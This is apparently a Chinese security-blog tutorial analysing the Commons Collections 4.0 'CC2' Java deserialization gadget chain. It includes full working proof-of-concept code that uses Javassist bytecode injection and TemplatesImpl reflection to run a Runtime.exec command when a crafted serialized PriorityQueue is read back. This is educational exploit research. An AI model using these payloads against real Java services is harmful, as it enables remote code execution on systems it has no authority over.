一 简介
Commons Collections包为Java标准的Collections API
提供了相当好的补充。在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充。让我们在开发应用程序的过程中,既保证了性能,同时也能大大简化代码。
不同于CC1的链条,CC2依赖于4.0版本的commons-collections,并且在最终命令执行方式上发生了很大的变化。
可以先看一下,这是CC1的反序列化链条,最终执行命令还是调用了InvokerTransformer.transform()
AnnotationInvocationHandler.readObject()--> AbstractInputCheckedMapDecorator.MapEntry.setValue()--> TransformedMap.checkSetValue()--> ChainedTransformer.transform()--> InvokerTransformer.transform() Method.invoke("Runtime.exec","calc")
而对于CC2所利用的是TemplatesImpl的加载字节码方式,以下是这条链
PriorityQueue.readObject() PriorityQueue.heapify() PriorityQueue.siftDown() PriorityQueue.siftDownUsingComparator() TransformingComparator.compare() InvokerTransformer.transform() method.invoke() TemplatesImpl.newTransformer() TemplatesImpl.getTransletInstance()
二 前置知识
1 JAVAssist
JAVAssist( JAVA Programming ASSISTant ) 是一个开源的分析 , 编辑 , 创建 Java字节码( Class )的类库 . 他允许开发者自由的在一个已经编译好的类中添加新的方法,或者是修改已有的方法。(在agent内存马加载时就使用此方式)
基础使用(需要添加到lib中)
public class test { public static void main(String[] args) throws NotFoundException, CannotCompileException, IOException { ClassPool pool = ClassPool.getDefault();//获取类搜索路径(从默认的JVM类搜索路径搜索) CtClass clazz = pool.get(test.class.getName());//将test类放入hashtable并返回CtClass对象 String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");"; clazz.makeClassInitializer().insertBefore(cmd); clazz.makeClassInitializer().insertAfter(cmd); String Name = "aaa"; clazz.setName(Name);//设置类名 clazz.writeFile("./a.class");//写入文件 } }
运行结果:
2 加载字节码
java原本的加载字节码的方式有两个
- ClassLoader类可以用来加载类文件,然后使用Class对象的newInstance()方法来创建实例并执行
- URLClassLoader是ClassLoader的子类,它从指定的URL加载类文件
- Instrumentation API: 如果需要在运行时修改字节码,可以使用Java代理和Instrumentation API
下面的代码使用这样的方式即可实例化被javassit修改后的test类并且执行其中的static块中的方法
public class test { public static void main(String[] args) throws NotFoundException, CannotCompileException, IOException, InstantiationException, IllegalAccessException { ClassPool pool = ClassPool.getDefault();//获取类搜索路径(从默认的JVM类搜索路径搜索) CtClass clazz = pool.get(test.class.getName());//将test类放入hashtable并返回CtClass对象 String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");"; clazz.makeClassInitializer().insertBefore(cmd); clazz.makeClassInitializer().insertAfter(cmd); byte[] classBytes = clazz.toBytecode(); new U(test.class.getClassLoader()).g(classBytes).newInstance(); } } class U extends ClassLoader{ U(ClassLoader c){//构造方法的ClassLoader类型参数 super(c); } public Class g(byte []b){ return super.defineClass(b,0,b.length);//加载字节码 } }
三 TemplatesImpl命令执行
上面的加载字节码方式达到命令执行的效果,现在可以看一下templatesimpl这个类,在这个类中,defineTransletClasses方法通过new TransletClassLoader创建了classloader实例,然后遍历循环加载了_bytecodes字节码,并且存到_class中。
然后在下面的getTransletClasses实例化了_bytecodes中的class类,那么我们只有反射控制_bytecodes就可以达到代码执行的效果
在defineTransletClasses时需要两个参数,一个是ObjectFactory.findClassLoader(),另一个_tfactory.getExternalExtensionsMap(),ObjectFactory不用管,应为findClassLoader会返回一个context对象,
而_tfactory默认为null,所以反射调用时需要new 一个TransformerFactoryImpl传递进去
TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
}
});
并且当调用getTransletInstance时_name不能为空,所以还需要传一个_name,下面还有个_transletIndex参数,这个参数默认是-1,显然这样是不行的
但是在defineTransletClasses遍历字节码时还有一步操作,当superClass.getName() 等于 ABSTRACT_TRANSLET 给 _transletIndex 赋值,就是我们加载字节码的类必须继承自 AbstractTranslet
if (superClass.getName().equals(ABSTRACT_TRANSLET)) { _transletIndex = i; }
现在就可以完成一个基础的POC了
TestTemplatesImpl类:
public class TestTemplatesImpl extends AbstractTranslet { static { try { Runtime.getRuntime().exec("calc"); } catch (IOException e) { e.printStackTrace(); } } public TestTemplatesImpl() { } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } }
test类:
public class test { public static void main(String[] args) throws NotFoundException, CannotCompileException, IOException, InstantiationException, IllegalAccessException, TransformerConfigurationException, NoSuchFieldException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException { ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.getCtClass("com.agent.TestTemplatesImpl"); byte[] classBytes = clazz.toBytecode(); TemplatesImpl templates = new TemplatesImpl(); Class<? extends TemplatesImpl> templatesClass = templates.getClass(); Field bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes"); bytecodes.setAccessible(true); bytecodes.set(templates, new byte[][] {classBytes}); Field name = TemplatesImpl.class.getDeclaredField("_name"); name.setAccessible(true); name.set(templates, "Test"); Field tfactory = TemplatesImpl.class.getDeclaredField("_tfactory"); tfactory.setAccessible(true); tfactory.set(templates, new TransformerFactoryImpl()); Method getTransletInstanceMethod = TemplatesImpl.class.getDeclaredMethod("getTransletInstance"); getTransletInstanceMethod.setAccessible(true); getTransletInstanceMethod.invoke(templates); } }
其实当然可以继续向下寻找其他更好的触发方法,并且通过javassist完成恶意类
这里可以参考TemplatesImpl利用链分析 - seizer-zyx - 博客园 (cnblogs.com)
并且最终POC:
public class test {
public static void main(String[] args) throws NotFoundException, CannotCompileException, IOException, InstantiationException, IllegalAccessException, TransformerConfigurationException, NoSuchFieldException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException { ClassPool classPool = ClassPool.getDefault(); // 获取CtClass容器 classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); // 引入AbstractTranslet路径到classpath中 CtClass testCtClass = classPool.makeClass("TestCtClass"); // 创建CtClass对象 testCtClass.setSuperclass(classPool.get(AbstractTranslet.class.getName())); // 设置父类为AbstractTranslet CtConstructor ctConstructor = testCtClass.makeClassInitializer(); // 创建空初始化构造器 ctConstructor.insertBefore("Runtime.getRuntime().exec(\"calc\");"); // 插入初始化语句 byte[] classBytes = testCtClass.toBytecode(); // 获取字节数据 TemplatesImpl templates = new TemplatesImpl(); Class<? extends TemplatesImpl> templatesClass = templates.getClass(); Field bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes"); bytecodes.setAccessible(true); bytecodes.set(templates, new byte[][] {classBytes}); Field name = TemplatesImpl.class.getDeclaredField("_name"); name.setAccessible(true); name.set(templates, "Test"); Field tfactory = TemplatesImpl.class.getDeclaredField("_tfactory"); tfactory.setAccessible(true); tfactory.set(templates, new TransformerFactoryImpl()); Method getOutputPropertiesMethod = TemplatesImpl.class.getDeclaredMethod("getOutputProperties"); getOutputPropertiesMethod.setAccessible(true); getOutputPropertiesMethod.invoke(templates); } }
还有一个小点,TestTemplatesImpl中的newTransformer中也调用了getTransletInstance,这在接下来的CC2反序列链中发挥作用。
四 CC2反序列链
回到CC2的分析
分析
首先导入依赖
<dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-collections4</artifactId> <version>4.0</version> </dependency>
这里在贴一下cc2的链条,其实后半部分就是我们上面的加载字节码方式进行的代码执行,而InvokerTransformer.transform()与CC1中相同,通过InvokerTransformer来实现类的调用。
PriorityQueue.readObject() PriorityQueue.heapify() PriorityQueue.siftDown() PriorityQueue.siftDownUsingComparator() TransformingComparator.compare() InvokerTransformer.transform() method.invoke() TemplatesImpl.newTransformer() TemplatesImpl.getTransletInstance()
反序列的入口当然是readObject,现在看一下PriorityQueue的readObject执行了什么
这里将传入的ObjectInputStream流中的对象反序列出来并且存到queue数组中,之后调用了heapify()方法
for (int i = 0; i < size; i++)
queue[i] = s.readObject();
继续向下查看siftDown方法
而在siftDownUsingComparator中可以看到comoarator.compare方法,所以其实最终readObject调用到了compare方法,而comoarator是从构造方法进行赋值,可控,现在尝试寻址某个类的compare中可以调用到transform方法,最终进行命令执行
现在有两个链条(大佬的图)
想要的是命令执行或者代码执行,需要一个关键类需要将两条链进行连接
TransformingComparator,我们看一下这个类的compare
这个方法调用了transform函数
- PriorityQueue的readObject可以调用构造方法参数中的比较器参数的compare方法
- TransformingComparator比较器可以利用compare方法以及其构造参数transformer调用任意对象的任意方法
这里的size必须大于0,我们通过add进行添加
POC1:
public class test1 { public static void main(String[] args) { ChainedTransformer chainedtransformer = new ChainedTransformer(new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }); TransformingComparator transformingComparator = new TransformingComparator(chainedtransformer); PriorityQueue<Object> queue = new PriorityQueue<>(1, transformingComparator); queue.add(1); queue.add(chainedtransformer); } }
调用链
接下来通过引入TemplatesImpl来执行自己构造的类
POC2:
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.ClassClassPath; import javassist.ClassPool; import javassist.CtClass; import javassist.CtConstructor; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.InvokerTransformer; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.PriorityQueue; public class test3 { public static void main(String[] args) throws Exception { ClassPool classPool = ClassPool.getDefault(); // 获取CtClass容器 classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); // 引入AbstractTranslet路径到classpath中 CtClass testCtClass = classPool.makeClass("test"); // 创建CtClass对象 testCtClass.setSuperclass(classPool.get(AbstractTranslet.class.getName())); // 设置父类为AbstractTranslet CtConstructor ctConstructor = testCtClass.makeClassInitializer(); // 创建空初始化构造器 ctConstructor.insertBefore("Runtime.getRuntime().exec(\"calc\");"); // 插入初始化语句 byte[] classBytes = testCtClass.toBytecode(); // 获取字节数据 TemplatesImpl templates = new TemplatesImpl(); Class<? extends TemplatesImpl> templatesClass = templates.getClass(); Field bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes"); bytecodes.setAccessible(true); bytecodes.set(templates, new byte[][] {classBytes}); Field name = TemplatesImpl.class.getDeclaredField("_name"); name.setAccessible(true); name.set(templates, "Test"); Field tfactory = TemplatesImpl.class.getDeclaredField("_tfactory"); tfactory.setAccessible(true); tfactory.set(templates, new TransformerFactoryImpl()); InvokerTransformer newTransformer = new InvokerTransformer("newTransformer", new Class[0], new Object[0]); TransformingComparator transformingComparator = new TransformingComparator(newTransformer); PriorityQueue priorityQueue = new PriorityQueue(2, transformingComparator); setFieldValue(priorityQueue, "size", 2); Object[] objects = {templates, 2}; setFieldValue(priorityQueue, "queue", objects); try{ ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc2")); outputStream.writeObject(priorityQueue); outputStream.close(); ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc2")); inputStream.readObject(); }catch(Exception e){ e.printStackTrace(); } } public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { final Field field = getField(obj.getClass(), fieldName); field.set(obj, value); } public static Field getField(final Class<?> clazz, final String fieldName) { Field field = null; try { field = clazz.getDeclaredField(fieldName); field.setAccessible(true); } catch (NoSuchFieldException ex) { if (clazz.getSuperclass() != null) field = getField(clazz.getSuperclass(), fieldName); } return field; } }
五 问题点分析
1 quene其实是被transient 关键字修饰的,怎么还可以实现序列化
其实这里通过wirite方法把queue中的元素写入了序列化字符串中,从而实现的反序列化
六 参考文章
ysoserial CommonsCollections2 详细分析-安全客 - 安全资讯平台 (anquanke.com)
Java反序列化-CommonsCollections2利用链分析 - seizer-zyx - 博客园 (cnblogs.com)
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。
本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!
程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)